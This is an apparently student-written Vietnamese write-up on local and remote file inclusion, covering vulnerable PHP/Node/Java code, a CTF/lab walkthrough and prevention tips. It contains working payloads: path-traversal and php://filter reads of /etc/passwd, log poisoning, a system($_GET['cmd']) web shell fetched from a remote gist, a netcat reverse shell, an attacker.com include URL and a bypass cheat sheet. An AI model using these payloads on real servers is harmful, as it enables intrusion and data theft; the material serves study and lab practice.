# File inclusion vulnerability (DVWA)
## Khái niệm & Khai thác & Phòng tránh
### File Inclusion Functions
Các lỗ hổng File Inclusion có thể xảy ra ở nhiều máy chủ web và khung phát triển phổ biến nhất, như **PHP , NodeJS , Java , .Net** và nhiều thứ khác
**PHP**
```php!
if (isset($_GET['language'])) {
include($_GET['language']);
}
```
**NodeJS**
```javascript!
if(req.query.language) {
fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
res.write(data);
});
}
```
```javascript!
app.get("/about/:language", function(req, res) {
res.render(`/${req.params.language}/about.html`);
});
```
**Java**
```java!
/*jsp*/
<c:if test="${not empty param.language}">
<jsp:include file="<%= request.getParameter('language') %>" />
</c:if>
```
```java!
<c:import url= "<%= request.getParameter('language') %>"/>
```
|Function|Read Content|Execute|Remote URL|
|---|---|---|---|
|**PHP**||||
|```include()/include_once()```|✅|✅|✅|
|```require()/require_once()```|✅|✅|❌|
|```file_get_contents()```|✅|❌|✅|
|```fopen()/file()```|✅|❌|❌|
|**NodeJS**||||
|```fs.readFile()```|✅|❌|❌|
|```fs.sendFile()```|✅|❌|❌|
|```res.render()```|✅|✅|❌|
|**Java**||||
|```include```|✅|❌|❌|
|```import```|✅|✅|✅|
|**.NET**||||
|```@Html.Partial()```|✅|❌|❌|
|```@Html.RemotePartial()```|✅|❌|✅|
|```Response.WriteFile()```|✅|❌|❌|
|```include```|✅|✅|✅|
### Khái niệm
- **FIle Inclusion** cho phép kẻ tấn công có thể xem các tệp trên máy chủ từ xa mà không cần nhìn thấy hoặc có thể thực thi các mã vào 1 mục tiêu bất kì trên trang web .
- Tất cả công việc trên kẻ tấn công có thể đạt được khi chạy được web shell (hay còn gọi là web hack tool) như c99shell, r57shell,…
- Khi đó nếu tham số register_globals trong file php.ini được đặt On thì biến $page sẽ là biến toàn cục, có thể gọi đến nó từ bất kì trang nào.
- Nếu tham số allow_url_fopen trong file php.ini đặt là Off thì sẽ không thể thực hiện include file từ máy chủ khác. Khi đó chỉ khai thác được dạng include trên cùng máy chủ
- Điều này xảy ra là do trong code php web , lập trình viên đã sử dụng các lệnh ```include(), include_once(), require(), require_once(), file_get_contents()``` , các lệnh này cho phép việc file hiện tại có thể gọi ra 1 file khác.
VD:
```php!
if (isset($_GET['language'])) {
include($_GET['language']);
}
```
#### Hàm inculde()
- Toàn bộ nội dung trong một file cụ thể sẽ được sao chép vào một file khác khi gọi hàm include. Phương thức này được sử dụng nhằm tránh việc code lặp và có thể sử dụng bất kì lúc nào. Hàm include() thường được sử dụng nhằm thêm dữ liệu, tệp tin mã nguồn dùng chung của các tệp tin trong ứng dụng. Những nơi thường được sử dụng như footers, headers, menu files.
VD:
Một trang menu menu.php có dạng như sau:
```php!
<?php
echo
'<a href=”/home.asp”>HOME</a>
<a href=”/details.asp”>DETAILS</a>
<a href=”/contact.asp”>CONTACT US</a>'
;
?>
```
Menu trang này có thể được sử dụng lại trong tất cả các trang của ứng dụng bằng cách dùng hàm ```include()``` trong home.php
```php!
<html>
<body>
<div class ='menu'>
<?php include 'menu.php';?>
</div>
<p>WELCOME</p>
</body>
</html>
```
Giờ thì file menu.php đã được bao hàm trong file home.php, bất cứ khi nào home.php được truy cập, nội dung trong file menu.php sẽ được sao chép vào home.php và thực thi.
Tuy nhiên vấn đề này có thể bị tin tặc khai thác và tấn công trở lại website gây những hậu quả rất nguy hiểm. Đây là 2 lỗ hổng chính rất nguy hiểm liên quan đến hàm include(): Remote file inclusion (RFI) và Local file inclusion (LFI)
### Khai thác
- Dấu hiệu để nhận biết rằng trang web có thể tấn công file inclusion là đường link thường có dạng ```php?page=,hoặc php?file=``` .... Để biết trang web có bị lỗi này hay không ta chỉ cần thêm 1 dấu ```'``` vào đường link , ví dụ như là ```php?page='``` . Và trên trình duyệt sẽ có thông báo dạng
```!
Warning: Warning: include() [function.include]: Failed opening ''' for inclusion (include_path='.;C:\php5\pear') in C:\wamp\www\FI.php on line 40```
```
- Nguyên nhân gây ra lỗi này là khi sử dụng các lệnh trên, lập trình viên lại gọi các file cần mở thông qua biến. Các biến này hoặc chưa được khởi tạo, hoặc do người dùng quyết định.
#### Các loại tấn công file inclusion
- cóa 2 kiểu của FI , đó là Local ```File Inclusion``` và ```Remote File Inclusion```:
##### 1.Local File Inclusion
- **Local file inclustion (LFI)** là kĩ thuật đọc file trong hệ thống , lỗi này xảy ra thường sẽ khiến website bị lộ các thông tin nhảy cảm như là passwd, php.ini, access_log,config.php…
- Trường hợp mà allow_url_fopen =Off thì chúng ta không thể khai thác thông qua url từ xa, lúc này khai thác sẽ dựa trên local file inclusion. Khai thác local file cho phép chúng ta đọc các file nhạy cảm trên server, ví dụ như là /etc/passwd, /etc/group, httpd.conf, .htaccess, .htpasswd hoặc bất kỳ file cấu hình quan trọng nào
- Trường hợp mà allow_url_fopen =Off thì chúng ta không thể khai thác thông qua url từ xa, lúc này khai thác sẽ dựa trên local file inclusion. Khai thác local file cho phép chúng ta đọc các file nhạy cảm trên server, ví dụ như là /etc/passwd, /etc/group, httpd.conf, .htaccess, .htpasswd hoặc bất kỳ file cấu hình quan trọng nào
- Khai thác cục bộ: Giả sử có nhiều website trên một server, nếu như site example1.com bị lỗi local file inclusion. Kẻ tấn công ở vị trí là website với domain là example2.com cũng cùng một server với example1.com thì có thể khai thác site example1.com
- các cách tấn công của loại này:
```php!
<?php
// Get the filename from a GET input
// Example - http://example.com/?file=filename.php
$file = $_GET['file'];
// Unsafely include the file
// Example - filename.php
include('directory/' . $file);
```
- Kẻ tấn công ở đây có thể đánh lừa ứng dụng thực thi tập lệnh PHP, chẳng hạn như web shell mà kẻ tấn công quản lý để tải lên máy chủ web.
```php!
http://example.com/?file=../../uploads/evil.php
```
Trong ví dụ này, tệp do kẻ tấn công tải lên sẽ được đưa vào và thực thi bởi người dùng chạy ứng dụng web. Điều đó sẽ cho phép kẻ tấn công chạy bất kỳ mã độc phía máy chủ nào mà chúng muốn.
- với file inclusion chúng ta có thể đọc source code php sử dụng PHP Wrappers within LFI to Obtain PHP Script Source Code:
https://infinitelogins.com/2020/04/25/lfi-php-wrappers-to-obtain-source-code/)
ví dụ trong bài thi tuyển ban chuyên môn KCSC

Xác định được đây là lổ hổng LFI , và mục tiêu ta phải đi đọc source của file trên hệ thống.
Cái file khả nghi nhất ngay từ cái nhìn đầu tiên đó chính là pages/flag.php
Ta sẽ sử dụng payload này để đọc file dưới dạng base64 : ```?page=php://filter/convert.base64-encode/resource=pages/flag.php```

chúng ta có thể thấy file flag sẽ được include vào file flag.php và sao chép toàn bộ nội dung vào trong đó nhưng file flag này đã bị comment dòng hiện ra flag nên chúng ta không thể đọc được
- LFI cũng được dùng kết hợp với lỗi upload để có được web shell. Nếu lỗi upload file có thể up được trực tiếp web shell lên và chạy được thì không cần dùng đến LFI. Nhưng nếu có lỗi upload, chỉ upload được các file ảnh,… thì có thể tận dụng LFI. Việc cần làm là định vị ví trí file ảnh nhiệm vụ này khó hay không tùy thuộc kinh nghiệm tường người big grin.
- Trong việc upload ảnh lên cũng có rất nhiều kiểu tùy thuộc code của chương trình upload. Nếu chỉ lọc đuôi file thì đơn giản bạn chỉ cần đổi tên web shell từ .php sang đuôi của ảnh .jpg chẳng hạn. Nếu chương trình upload kiểm tra xem có đúng là ảnh không thì làm sao để chèn code PHP vào file ảnh ?
- Ở đây chèn code PHP vào file ảnh mà file ảnh đó vẫn là một file ảnh thực sự. Vậy chèn code PHP vào phần nào của ảnh ? Ta sẽ thêm code PHP vào phần comment của ảnh, tuy nhiêm phần này không chứa được nhiều code php, nếu shell quá lớn sẽ không được, do đó phần này thường chèn đoạn mã ngắn như shell command, upload form,…
- Có 2 chương trình phổ biến để chèn code PHP vào ảnh là :
- **edjpgcom.exe** dùng cho Windows. Download : http://guru.net.vn/content/binary/edjpgcom.zip
- **jhead cho Linux và Windows** : Download : http://freshmeat.net/projects/jhead/
#### LFI to RCE via Log Poisoning
- Mỗi một website khi chạy, toàn bộ thông tin truy cập, lỗi,… sẽ được máy chủ lưu lại. Log truy cập thông thông thường được gọi là log truy cập của site. Ngoài ra có lỗi khác đối với webserver được lưu trong file access_log, error_log (tên file này là mặc định, có thể đổi tên khác trong httpd.conf).
- Ví dụ minh họa dưới đây cho thấy việc chèn code / vào file log.
Tạo 1 file fopen.php như sau:
```php!
$res = '';
$fp = fsockopen('127.0.0.1', 80);
if(!$fp){
echo "No connection";
}
fputs($fp, "GET / HTTP/1.1\r\n");
fputs($fp, "Host: 127.0.0.1\r\n\r\n");
while(!feof($fp)){
$res .= fgets($fp, 128);
include($_GET['page'].".php");
}
echo $res;
?>
```

- **Log Poisoning (hoặc Log injection)** là một kỹ thuật cho phép kẻ tấn công giả mạo nội dung bằng cách chèn mã độc vào nhật ký máy chủ để thực thi lệnh từ xa hoặc để lấy một trình shell đảo ngược. Nó sẽ chỉ hoạt động khi ứng dụng đã tấn công bởi LFI.
- Khi người dùng cố gắng kết nối đến thiết bị thông qua SSH sẽ được ghi lại vào một tệp tin nhật ký kiểu như auth.log. Thông điệp được ghi lại phụ thuộc vào kết quả của một lần đăng nhập.
```sql!
//Đăng nhập thành công
Accepted password from from port ......
//Đăng nhập thất bại
Failed password from <user> from <ip> port ......
```
##### Access log
Định dạng log (LogFormat) cơ bản như sau là : %h %l %u %t %r %>s %b Refer User_agent. Trong đó:
- %h: địa chỉ của máy client
- %l: nhận dạng người dùng được xác định bởi identd (thường không SD vì không tin cậy)
- %u: tên người dung được xác định bằng xác thức HTTP
- %t: thời gian yêu cầu được nhận
- %r: là yêu cầu từ người sử dụng (client)
- %>s: mã trạng thái được gửi từ máy chủ đến máy khách
- %b: kích cỡ phản hồi đối với client
- Refer: tiêu đề Refeer của yêu cầu HTTP (chứa URL của trang mà yêu cầu này được khởi tạo)
- User_agent: chuỗi xác định trình duyệt
Cấu trúc của tệp tin chứa thông tin nhật ký truy cập tùy từng loại cấu hình mà có thể có các định dạng khác nhau, tuy nhiên về cơ bản nó cung cấp các thông tin tương tự như dòng dữ liệu dưới đây:
```log!
127.0.0.1 - - [06/Nov/2014:17:14:31 0100] "GET / HTTP/1.1" 200 7562 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/37.0.2062.120 Chrome/37.0.2062.120 Safari/537.36"
```
Chúng ta sẽ chia dòng dữ liệu này thành 3 phần:
- ```GET / HTTP/1.1```: Phương thức request
- ```-```: Referer
- ```Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/37.0.2062.120 Chrome/37.0.2062.120 Safari/537.36``` : Thông tin về máy khách đã gửi yêu cầu đến (User agent).
Tất cả các giá trị này đều dễ dàng thay đổi bởi người dùng.

- ```172:16.79.202```: là địa chỉ IP của máy client truy cập tới apache server
- 2 trường ```%l %u``` không có giá trị sẽ hiển thị ```-```
- ```18/May/2017...``` là thời gian nhận được yêu cầu từ client
- ```GET/HTTP/1.1```: là yêu cầu từ client
- ```404```: mã trạng thái gửi từ server đến client
- ```209```: kich thước phản hồi lại client
- ```http:/172.16.79.213```: url mà client yêu cầu tới server
- ```Moliza ... Chrome, Safari```: là chuỗi định danh trình duyệt
##### Error log
- Chứa thông tin về lỗi mà máy chủ web gặp phải khi xử lý các yêu cầu, chẳng hạn như khi tệp bị thiếu. Là nơi đầu tiên để xem xét khi xảy ra sự cố khi khởi động máy chủ hoặc với hoạt động của máy chủ vì nó thường chứa thông tin chi tiết về những gì xảy ra và cách khắc phục
- Định danh của error log tương đối tự do về mặt hình thức nhưng 1 số thông tin quan trọng có trong hầu hết các mục log như sau:
- Trường thứ nhất: Trường thời gian - lưu thời gian nhận được message từ apache server
- Trường thứ 2: liệt kê mức độ nghiêm trọng của lỗi được báo cáo
- Trường thứ 3: Địa chỉ IP của client tạo ra lỗi
VD:


#### Turn any LFI to RCE use PHP filter chain
- Đã có bao giờ bạn phát hiện lỗ hổng LFI trên một ứng dụng web nhưng loay hoay mãi không thể tìm được file nào tiềm năng để leo thang mức độ ảnh hưởng như dẫn đến RCE hay không ?
- Giả sử ta có đoạn code bị LFI như sau
```php!
<?php
// do something
include($_GET['user_input'])
// do something else
?>
```
Bài toán đặt ra là không thể LFI được file nào có thể leo thang thành RCE, vậy thì có cách nào không include file nhưng vẫn RCE được hay không ?
- Trên thế giới có hàng nghìn ngôn ngữ khác nhau, kèm với đó là hàng chục nghìn ký tự đặc trưng của ngôn ngữ đó. Để máy tính có thể hiểu và hiển thị các ký tự đặc biệt là một điều không dễ. Vì tính chất phức tạp và thuật toán encode, decode khác nhau của các bảng mã, nên việc chuyển đổi liên tục giữa các bảng mã khác nhau sẽ dẫn đến một số hành vi lạ.
Chuyển đổi giữa các bảng mã trong PHP
Trong php để có thể chuyển đổi một string từ bảng mã này sang bảng mã khác ta có thể dùng hàm ```iconv```. VD:
```php!
$ php -r "echo iconv('UTF-8', 'ISO-8859-1//TRANSLIT', 'This is the Euro symbol €.');"
This is the Euro symbol EUR.
```
Ngoài ra PHP cũng cung cấp wrapper ```php://convert.iconv.*.*``` có chức năng tương tự như hàm ```iconv```. VD:
```php!
$ echo "This is the Euro symbol €." > test.txt
$ php -r "echo file_get_contents('php://filter/convert.iconv.utf-8.utf-7/resource=test.txt');"
This is the Euro symbol +IKw.
```
#### Sự kỳ diệu của hàm xử lý base64 trong PHP
- Khi bình thường hàm ```base64_decode``` và wrapper ```convert.base64-decode``` có hành vi tương tự nhau
```php!
$ php -r "echo base64_encode('endyne');"
ZW5keW5l
$ php -r "echo base64_decode('ZW5keW5l');"
endyne
$ php -r "echo base64_decode('@@_ZW5keW5l');"
endyne
$ echo '@@_ZW5keW5l' > test.txt
$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
endyne
```
Khi ta thêm cái ký tự không hợp lệ của base64 vào ciphertext thì cả 2 đều sẽ tự động bỏ qua các ký tự đó rồi thực hiện decode.
Tuy nhiên khi ta chèn dấu = vào ciphertext thì hành vi sau đây sẽ xảy ra
```php!
$ echo 'ZW5keW5l' > test.txt
$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
endyne
$ php -r "echo base64_decode('ZW5==keW5l');"
endyne
$ echo 'ZW5==keW5l' > test.txt
$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
PHP Warning: file_get_contents(): Stream filter (convert.base64-decode): invalid byte sequence in Command line code on line 1
$ echo 'ZW5keW5l==' > test.txt
$ php -r "echo file_get_contents('php://filter/convert.base64-decode/resource=test.txt');"
PHP Warning: file_get_contents(): Stream filter (convert.base64-decode): invalid byte sequence in Command line code on line 1
```
Wrapper convert.base64-decode không thể tự động bỏ dấu = ở giữa ciphertext như cách dùng hàm thông thường.
Để khắc phục được điều này, ta sẽ dùng iconv để chuyển từ UTF-8 sang UTF-7.
```php!
$ php -r "echo file_get_contents('php://filter/convert.iconv.UTF8.UTF7/convert.base64-decode/resource=test.txt');"
endyne���
```

Đây là phần kiến thức quan trọng, và là key cho kỹ thuật filter chain.
Một số bảng mã khi encode sẽ chèn thêm nội dung vào trước phần text, việc này gọi là prepended.
Một ví dụ về prepended characters có thể kể đến là phần Byte order mark (BOM)
Byte order mark hay BOM là một hoặc một chuỗi các ký tự đặc biệt được include vào phần đầu của text khi encode, để chỉ định thứ tự byte cũng như là thứ tự encoding của chuỗi.
Prepended charaters thì muôn hình vạn trạn, và tùy thuộc vào từng loại encode mà các ký tự được thêm vào trước có giá trị và mục đích riêng khác nhau.
Vấn đề cuối cùng của kỹ thuật này đó chính là tìm file hợp lệ mà ta có thể include. Ta cần phải biết được đường dẫn chính xác đến một file nào đó để có thể thực thi được filter chain. Nếu không biết đường dẫn chính xác ta không thể nào exploit được.
Để giải quyết vấn đề đó ta sẽ dùng ```php://temp```.
```php://temp``` là một pseudo protocol cho phép ta tạo một file temp ngẩu nhiên. Tuy nhiên file này sẽ không được lưu vào bộ nhớ cũng như chỉ có dung lượng tối đa là 2MB. Mặc định nội dung của file temp này là 1
```php!
$ php -r "echo require('php://filter/convert.base64-decode/resource=php://temp');"
1
```
Ngay cả khi lỗ hổng như vậy tồn tại, việc khai thác nó có thể phức tạp hơn trong các tình huống thực tế. Hãy xem xét đoạn mã sau:
```php!
<? php include ($ _ GET ['file']. ". php"); ?>
```
Để vượt qua nó, người thử nghiệm có thể sử dụng một số kỹ thuật để có được khả năng khai thác như mong đợi.
- **Injection Null Byte**: Thông thường, cách đưa ký tự này vào với chuỗi mã hóa URL% 00 bằng cách thêm nó vào đường dẫn được yêu cầu, việc thực hiện yêu cầu tới http: //vulnerable_host/preview.php? File = .. / .. / .. / .. / etc / passwd% 00 sẽ bỏ qua phần mở rộng .php đang được thêm vào tên tệp đầu vào , trả lại cho kẻ tấn công danh sách những người dùng cơ bản do khai thác thành công.
- **Cắt bỏ đường dẫn và dấu chấm** : Hầu hết các bản cài đặt PHP có giới hạn tên tệp là 4096 byte. Nếu bất kỳ tên tệp nhất định nào dài hơn độ dài đó, PHP chỉ cần cắt bớt tên tệp đó, loại bỏ bất kỳ ký tự bổ sung nào. Việc lạm dụng hành vi này có thể khiến công cụ PHP bỏ qua phần mở rộng .php bằng cách di chuyển nó ra khỏi giới hạn 4096 byte. Khi điều này xảy ra, không có lỗi nào được kích hoạt; các ký tự bổ sung chỉ bị loại bỏ và PHP tiếp tục thực thi bình thường.
- **PHP Wrappers**: Trình bao bọc là một mã bao quanh mã khác để thực hiện một số chức năng bổ sung. PHP triển khai nhiều trình bao bọc tích hợp để được sử dụng với các chức năng của hệ thống tệp. Dưới đây, bạn có thể nhận được danh sách với các trình bao bọc được sử dụng phổ biến nhất:
- **Bộ lọc PHP**: Được sử dụng để truy cập hệ thống tệp cục bộ. Trình bao bọc này có thể được sử dụng để lấy nội dung của tệp ngăn máy chủ thực thi tệp đó.Trình bao bọc có thể được sử dụng như ```php: //filter/convert.base64-encode/resource=FILE``` trong đó FILE là tệp cần truy xuất. Do việc sử dụng quá trình thực thi này, nội dung của tệp đích sẽ được đọc, được mã hóa thành base64 (đây là bước ngăn phía máy chủ thực thi) và được trả lại cho Tác nhân người dùng.
- **PHP ZIP**: Trên PHP 7.2.0, ```zip: // wrapper``` đã được giới thiệu để thao tác với các tệp nén zip. Trình bao bọc này mong đợi cấu trúc tham số sau: ```zip: /// filename_path # internal_filename``` trong đó filename_path là đường dẫn đến tệp độc hại và internal_filename là đường dẫn chứa tệp độc hại bên trong tệp ZIP đã xử lý. Trong quá trình khai thác, thông thường # sẽ được mã hóa bằng URL của nó Giá trị được mã hóa % 23. Việc lạm dụng trình bao bọc này có thể cho phép kẻ tấn công thiết kế một tệp ZIP độc hại có thể được tải lên máy chủ, chẳng hạn như hình ảnh đại diện hoặc sử dụng bất kỳ hệ thống tải lên tệp nào có sẵn trên trang web mục tiêu (php: zip: // wrapper thì không yêu cầu tệp zip có bất kỳ phần mở rộng cụ thể nào) được thực thi bởi lỗ hổng LFI.
- **Dữ liệu PHP**: Có sẵn kể từ PHP 5.2.0, trình bao bọc này mong muốn sử dụng như sau: data: // text / trơn; base64, BASE64_STR trong đó BASE64_STR dự kiến là nội dung được mã hóa Base64 của tệp sẽ được xử lý. Điều quan trọng là phải xem xét rằng trình bao bọc này sẽ chỉ khả dụng nếu tùy chọn allow_url_include được bật.
#### Khác nhau giữa LFI và Path Traversal
||LFI| Path Traversal|
|---|---|---|
|**Bản chất**|Cho phép kẻ tấn công **thực thi và đọc** các tệp tùy ý từ máy chủ từ xa hoặc cục bộ|Cho phép kẻ tấn công **đọc** các tệp và thư mục bên ngoài thư mục dự định|
|**Tác động**|Có thể cho phép kẻ tấn công **thực thi** một tệp tùy ý trên máy chủ, dẫn đến xâm phạm máy chủ hoàn toàn, đánh cắp dữ liệu hoặc các hành động độc hại khác. Việc thực thi được các codes trực tiếp trong ứng dụng có thể dẫn đến các cuộc tấn công nghiêm trọng khác như: RCE, XSS, …|Có thể cho phép kẻ tấn công **truy cập** vào các tệp và thư mục nhạy cảm trên máy chủ, điều này có thể dẫn đến đánh cắp dữ liệu, chiếm đoạt máy chủ hoặc các hành động độc hại khác|
|**Mức độ nghiêm trọng**|Nghiêm trọng hơn vì chúng cho phép thực thi mã từ xa|Ít nghiêm trọng hơn LFI|
|**Nguyên nhân**|Xảy ra khi đầu vào của người dùng được sử dụng để bao gồm các tệp từ máy chủ từ xa hoặc cục bộ mà không có xác thực thích hợp|Xảy ra khi ứng dụng không xác thực được đầu vào của người dùng được sử dụng để truy cập vào hệ thống tệp|
##### 2.Remote File Inclusion
- **Remote File Inclusion** còn được viết tắt là RFI cho phép kẻ tấn công nhúng một mã độc hại được tuỳ chỉnh trên trang web hoặc máy chủ bằng cách sử dụng các tập lệnh . RFI còn cho phép tải lên một tệp nằm trên máy chủ khác được chuyển đến dưới dạng hàm PHP ( include, include_once, require, or require_once)
- là quá trình bao gồm các tệp từ xa thông qua việc khai thác các thủ tục đưa vào dễ bị tổn thương được triển khai trong ứng dụng. Lỗ hổng này xảy ra, ví dụ: khi một trang nhận, làm đầu vào, đường dẫn đến tệp phải được bao gồm và đầu vào này không được vệ sinh đúng cách, cho phép URL bên ngoài được đưa vào. Mặc dù hầu hết các ví dụ đều chỉ ra các tập lệnh PHP dễ bị tấn công, chúng ta nên nhớ rằng nó cũng phổ biến trong các công nghệ khác như JSP, ASP và các công nghệ khác.
- RFI cho phép tin tặc include và thực thi trên máy chủ mục tiêu một tệp tin được lưu trữ từ xa. Tin tặc có thể sử dụng RFI để chạy một mã độc trên cả máy của người dùng và phía máy chủ.
- Ảnh hưởng của kiểu tấn công này thay đổi từ việc đánh cắp tạm thời session token hoặc các dữ liệu của người dùng cho đến việc tải lên các webshell, mã độc nhằm xâm hại hoàn toàn hệ thống máy chủ
- Điều kiện để khai thác theo kiểu Remote File Inclusion là: Các biến ```register_globals```, ```allow_url_include``` và ```allow_url_fopen``` trong file ```PHP.ini``` của Apache Server phải bật **ON**.
- Cách tấn công Remote File Inclusion (RFI):
- Chèn đường dẫn file từ xa: Tin tặc sẽ chèn đường dẫn file từ xa vào trong ứng dụng web mục tiêu thông qua các tham số hoặc trường dữ liệu. Đường dẫn này thường trỏ đến một file chứa mã độc hại mà tin tặc muốn thực thi trên máy chủ web.
- Sử dụng tham số file ảo: Một số ứng dụng web cho phép người dùng chỉ định file ảo để hiển thị trên trang. Tin tặc có thể tận dụng điều này bằng cách chèn một đường dẫn từ xa đến một file chứa mã độc hại trong tham số file ảo.
- Sử dụng Local File Inclusion (LFI) để thực hiện RFI: Kẻ tấn công có thể sử dụng lỗ hổng Local File Inclusion (LFI) để thực hiện tấn công RFI. Bằng cách truyền một đường dẫn file cục bộ chứa mã độc hại thông qua LFI, tin tặc có thể làm cho ứng dụng web bao gồm (include) file từ xa và thực thi mã độc hại.
- Sử dụng các kỹ thuật mã độc tinh vi: Tin tặc có thể sử dụng các kỹ thuật mã độc tinh vi như mã hóa, gian lận tên file, hoặc sử dụng các ký tự đặc biệt để lừa hệ thống và thực hiện cuộc tấn công RFI một cách thành công.
- để kiểm tra Remote File Inclusion:
- Kiểm tra tác động của dữ liệu nhập: Thử nhập một đường dẫn file từ xa vào các trường dữ liệu hoặc tham số của ứng dụng web để xem liệu ứng dụng có bao gồm (include) file từ xa không. Quan sát xem có xuất hiện bất kỳ lỗi hay thông báo không mong muốn hoặc liệu nội dung của file từ xa có được hiển thị trên trang web hay không.
- Thử sử dụng đường dẫn file ảo: Nếu ứng dụng web cho phép người dùng chỉ định file ảo để hiển thị, hãy thử chèn một đường dẫn file từ xa trong tham số file ảo để kiểm tra xem liệu ứng dụng có bao gồm (include) file từ xa hay không. Quan sát xem liệu nội dung của file từ xa có được hiển thị trên trang web hay không.
- Hậu quả của một cuộc tấn công RFI thành công bao gồm:
- Cross-site Scripting (XSS) (vì có thể tấn công reflected XSS gửi trang đã chèn script js vào tới nạn nhân) đến thực thi mã từ xa (chèn code PHP vào để thực thi lệnh hệ thống)
- Tiết lộ thông tin nhạy cảm

- Sự khác biệt giữa RFI và LFI
Khác kiểu tấn công LFI, với RFI kẻ tấn công muốn thực hiện đoạn shell của mình thì phải gọi tới một file có dạng text chứ không thể là file php được. Vì khi sử dụng file php, trình duyệt của victim khi gọi ra file này sẽ đóng vai trò là một client, ứng với server sẽ là server đang chứa file gọi đến. Do đó các mã php trong file khi thực thi ở máy victim sẽ là html, dẫn đến ý đồ không thực hiện được.
ví dụ mình có server apache của XAMPP chạy mã php như sau

mình bật server khác lắng nghe ở cổng 8000

và up lên server apache file solve.txt có nội dung qua parameter file

và mình chèn được nội dung file solve.txt vào trang web của server apache và đã nó thực hiện đoạn code php của mình

mình ý định chèn shell ```echo '<?php system($_GET["cmd"]); ?>'``` để RCE nhưng window defender đã chặn và xóa file này và cảnh báo viruss

do anti virus trên window tự động xóa file webshell nguy hiểm của mình nên mình sẽ dùng ```gist.github.com``` (gist.github.com là một dịch vụ của GitHub, nơi bạn có thể lưu trữ và chia sẻ các đoạn mã ngắn, snippets, hoặc tệp văn bản. Nó cho phép người dùng tạo ra các "gist" - các đoạn mã ngắn - và chia sẻ chúng với người khác thông qua URL. Các gist có thể được sử dụng để chia sẻ mã nguồn, ghi chú, hướng dẫn, và nhiều loại nội dung khác. Điều này giúp việc chia sẻ và sử dụng đoạn mã trở nên dễ dàng hơn giữa các nhà phát triển và cộng đồng lập trình viên.)
- Tạo một file shell.php chưa payload RCE: ```<?php echo system($_GET['cmd']); ?>``` trên ```gist.github.com```

và file web trên XAMPP

sau đó lấy link vào truyền vào params info: Payload: ```?info=https://gist.githubusercontent.com/AT190510-Cuong/75a53dfa70ca0ee7defc2563a1b18ca2/raw/6f444b3e9db0819c3d7522d4b39ca299f3d85b1c/shell``` và mình được:

- Thông báo lỗi như vậy chứng tỏ file shell của chúng ta đã thành công chạy trên website
- dùng ```&cmd=dir``` để list ra các files có trong folder hiện tại trên máy window của mình

- Ctrl + U để cho dễ nhìn:

và mình dùng ```&cmd=type``` flag để đọc file flag

và mình được flag là ```FLAG{d3p_z41_v@y_m4_Chu@_c0_n9u01_y3u}``` vậy mình đã thực thi RCE trang web thành công
- với cách khác mình có thể chiếm được shell và thực thi nó
mình tạo webshell để netcat đến server lắng nghe của mình ở port 8000

sau đó mình up đường dẫn vào parameter info
```!
/?info=https://gist.githubusercontent.com/AT190510-Cuong/d2d6139349404547af22dc02b9b1085e/raw/894dc9b9b80be6ce908b9d40922b15901fc0e1ff/shell1.php
```
trang web sẽ trong trạng thái load mãi và mình quan sát trong terminal thấy đã có shell và thực thi nó thành công

- và mình đọc được flag này

- mình cũng có thể dùng ngrok để ánh xạ địa chỉ local trên máy mình ra public để khai thác với máy thật: ```ngrok tcp 8000```





|Đặc điểm|RFI (Remote File Inclusion)|LFI (Local File Inclusion)|
|---|---|---|
|Vị trí thực thi|Thực thi mã từ tập tin từ xa, thường từ các máy chủ khác.|Thực thi mã từ các tập tin cục bộ trên máy chủ web.|
|Phương tiện tấn công|Sử dụng các tham số URL để chỉ định tập tin từ xa cần thực thi.|Sử dụng các tham số URL để chỉ định tập tin cục bộ trên máy chủ cần thực thi.|
|Mục đích chính|Thường được sử dụng để chèn mã độc hại từ xa vào ứng dụng web.|Thường được sử dụng để truy cập vào các tệp cấu hình hoặc nhật ký hệ thống trên máy chủ.|
|Ưu điểm|Có thể được sử dụng để thực hiện tấn công từ xa mà không cần phải xâm nhập trực tiếp vào máy chủ.|Cho phép kẻ tấn công truy cập vào các tệp cục bộ trên máy chủ web một cách đơn giản.|
|Ví dụ|```http://example.com/index.php?page=http://attacker.com/malicious.php```. Trong ví dụ này, tệp index.php của trang web example.com cho phép người dùng chèn một tệp PHP từ xa thông qua tham số page. Kẻ tấn công có thể chèn một tệp PHP độc hại từ máy chủ attacker.com để thực thi mã độc hại trên máy chủ example.com.|```http://example.com/index.php?page=/etc/passwd```. Trong ví dụ này, tệp index.php của trang web example.com cho phép người dùng chèn một tệp cục bộ thông qua tham số page. Kẻ tấn công có thể chèn một tệp cục bộ như /etc/passwd, một tệp chứa danh sách các tài khoản người dùng trên máy chủ, để thu thập thông tin đăng nhập.|
### Phòng tránh
- Xác thực đầu vào chặt hơn
- Không bao gồm các trình phân tách thư mục như "/"
- Sử dụng danh sách trắng cho các file extension được cho phép
- Set ```allow_url_fopen``` và ```allow_url_include``` thành off để giới hạn việc có thể gọi các tệp tin từ xa
- Sử dụng đường dẫn file tương đối: Thay vì sử dụng đường dẫn file tuyệt đối, hãy sử dụng đường dẫn file tương đối trong quá trình bao gồm (include) file. Điều này giúp giới hạn quyền truy cập vào các file từ xa và giảm khả năng bị tấn công RFI.
- Hạn chế quyền ghi file: Đảm bảo các file trên máy chủ web chỉ có quyền ghi cần thiết. Điều này giúp hạn chế khả năng tin tặc ghi đè lên các file quan trọng và thực hiện cuộc tấn công RFI.
### CheetSheet
#### Local File Inclusion
|Local File Inclusion|Description|
|---|---|
|```/index.php?language=/etc/passwd```|Basic LFI|
|```/index.php?language=../../../../etc/passwd```|LFI with path traversal|
|LFI Bypasses||
|```/index.php?language=....//....//....//....//etc/passwd```|Bypass basic path traversal filter|
|```/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64```|Bypass filters with URL encoding|
|```/index.php?language=../../../../etc/passwd%00```|Bypass appended extension with null byte (obsolete)|
|```/index.php?language=php://filter/read=convert.base64-encode/resource=config```|Read PHP with base64 filter|
|```/index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]```|Bypass appended extension with path truncation (obsolete)|
#### Remote Code Execution

|Command|Description|
|---|---|
|PHP Wrappers||
